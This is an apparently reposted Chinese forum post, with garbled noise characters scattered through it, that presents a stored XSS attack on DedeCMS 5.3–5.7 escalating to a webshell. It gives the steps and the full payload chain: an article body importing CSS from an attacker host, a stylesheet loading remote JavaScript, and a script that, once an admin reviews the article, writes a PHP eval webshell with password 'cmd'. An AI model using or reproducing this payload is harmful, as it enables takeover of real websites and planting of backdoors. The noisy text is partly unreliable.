dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
" D4 H1 e) _5 L2 h$ w* V* q; c6 w% x为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
4 x. _# w, |! J- g! A, \) S目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
" \" e. E1 u& c条件有2个：
1.开启注册
2.开启投稿
注册会员----发表文章
. M' o5 M% q# T5 O/ F+ o内容填写：
复制代码
3 {* H- j: u) y8 O9 D& _7 X$ S9 F<style>@im\port'\http://xxx.com/xss.css';</style>
/ p9 N* R, V; B0 a& E新建XSS.Css
0 @- k: U6 J) x8 H8 K5 j/ i复制代码
.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
2 L7 ]8 ~( P$ e5 s; }( N9 R新建xss.js 内容为
! v6 ^4 n# K& n& a复制代码
1.var request = false;
2.if(window.XMLHttpRequest) {
2 e- \1 j, s$ n  U: k3.request = new XMLHttpRequest();
( Z. j' W1 H. E1 W! `4 v1 d4.if(request.overrideMimeType) {
$ |; z% d" }3 \6 |$ K5.request.overrideMimeType('text/xml');
! B+ @8 {7 P6 W6.}
7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 y" @) y7 K7 b. u& J9.for(var i=0; i<versions.length; i++) {
10.try {
11.request = new ActiveXObject(versions);
, ~# j, D/ @3 k9 Q( h7 C* Z+ Z12.} catch(e) {}
13.}
- r" q" E6 K, p- k14.}
( D- k( [5 V) ]' ~- F0 F' A4 |- i15.xmlhttp=request;
2 ?& G) A4 j: G0 c7 h5 O) q# J16.function getFolder( url ){
8 T# K7 k. \# D& x% \6 J17. obj = url.split('/')
" ?/ ^. k7 U, Y- ^2 Y! S/ h- L18. return obj[obj.length-2]
19.}
+ r, T4 G3 @# W7 e; P- b7 ]20.oUrl = top.location.href;
21.u = getFolder(oUrl);
7 C* R3 O! ~2 M( n: @22.add_admin();
23.function add_admin(){
8 r( n( N  j+ W8 x' g% L  @24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
( P. E4 }( e7 p$ n1 T0 ]26.xmlhttp.open("POST", url, true);
. I. K) X" R! K27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" z) _! v" g# e9 b( c- {$ d7 }28.xmlhttp.setRequestHeader("Content-length", params.length);
( y! ?$ E2 R7 N8 X' t29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
# u' P1 z7 {. c% Z30.xmlhttp.send(params);
31.}
* g; o7 N. U# d1 h* l  v当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd